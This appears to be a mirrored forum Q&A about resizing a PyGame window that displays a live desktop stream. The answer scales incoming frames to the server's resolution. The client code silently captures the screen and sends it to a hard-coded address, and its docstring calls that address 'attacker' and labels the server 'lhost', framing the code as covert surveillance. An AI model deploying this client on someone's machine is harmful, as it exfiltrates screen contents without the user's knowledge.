微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

调整 PyGame 屏幕大小

如何解决调整 PyGame 屏幕大小

问题

基本上我有这个代码来流式传输桌面屏幕。问题是,当我尝试调整服务器屏幕的大小(服务器将接收图像)时,图像保持剪切/扭曲

我尝试调整窗口大小:

enter image description here

应该是什么(模拟):

enter image description here

问题

正确调整图像流窗口的大小需要进行哪些更改?

提前致谢。

服务器

import socket
from zlib import decompress

import pygame

#1900 1000

WIDTH = 600
HEIGHT = 600

def recvall(conn,length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not   data:
            return data
        buf += data
    return buf


def main(host='192.168.15.2',port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host,port))
    print("Listening ....")
    sock.listen(5)
    conn,addr = sock.accept()
    print("Accepted ....",addr)
    pygame.init()

    screen = pygame.display.set_mode((WIDTH,HEIGHT))

    clock = pygame.time.Clock()
    watching = True

    #x = sock.recv(1024).decode()
    #print(x)

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length,the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1),byteorder='big')
            size = int.from_bytes(conn.recv(size_len),byteorder='big')
            pixels = decompress(recvall(conn,size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels,(WIDTH,HEIGHT),'RGB')
            #img = pygame.image.fromstring(pixels,'RGB')
            #.frombuffer(msg,(320,240),"RGBX"))


            # display the picture
            screen.blit(img,(0,0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ",pixels)
        sock.close()


if __name__ == "__main__":
    main()  

客户

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

import sys
from PyQt5 import QtWidgets

app = QtWidgets.QApplication(sys.argv)

screen = app.primaryScreen()
size = screen.size()

WIDTH = size.width()
HEIGHT = size.height()

print(WIDTH,HEIGHT)
WIDTH = 600

HEIGHT = 600

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 10,'left': 10,'width': WIDTH,'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)

            print(img)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb,0)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            try:
                    conn.send(bytes([size_len]))

            except:
                    break
                 
            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len,'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.15.2',port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host,port))

    
    try:
        #sock.send(str('123213213').encode('utf-8'))
        while True:
            thread = Thread(target=retreive_screenshot,args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ",e)
        sock.close()

if __name__ == '__main__':
    main()

解决方法

您在最近的 pastebin 中的代码几乎是正确的,但就像我说的,您必须分别存储服务器和客户端解析:

import socket
from zlib import decompress
import pygame
 
def recvall(conn,length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf
 
 
def main(host='192.168.15.2',port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host,port))
    print("Listening ....")
    sock.listen(5)
    conn,addr = sock.accept()
    print("Accepted ....",addr)
 
    client_resolution = (conn.recv(50).decode())
    client_resolution = str(client_resolution).split(',')
    CLIENT_WIDTH = int(client_resolution[0])
    CLIENT_HEIGHT = int(client_resolution[1])
    
    #store the server's resolution separately
    SERVER_WIDTH = 1000
    SERVER_HEIGHT = 600
 
    pygame.init()
 
    screen = pygame.display.set_mode((SERVER_WIDTH,SERVER_HEIGHT))
 
    clock = pygame.time.Clock()
    watching = True
 
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break
 
            # Retreive the size of the pixels length,the pixels length and pixels
 
            size_len = int.from_bytes(conn.recv(1),byteorder='big')
            size = int.from_bytes(conn.recv(size_len),byteorder='big')
            pixels = decompress(recvall(conn,size))
 
            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels,(CLIENT_WIDTH,CLIENT_HEIGHT),'RGB')            
            
            #resize the client image to match the server's screen dimensions
            scaled_img = pygame.transform.scale(img,(SERVER_WIDTH,SERVER_HEIGHT))

            # Display the picture
            screen.blit(scaled_img,(0,0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ",pixels)
        sock.close()
 
 
if __name__ == "__main__":
    main()  

请注意,您可以随时更改服务器的分辨率,完全独立于客户端的分辨率。这意味着您甚至可以根据需要调整窗口大小。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。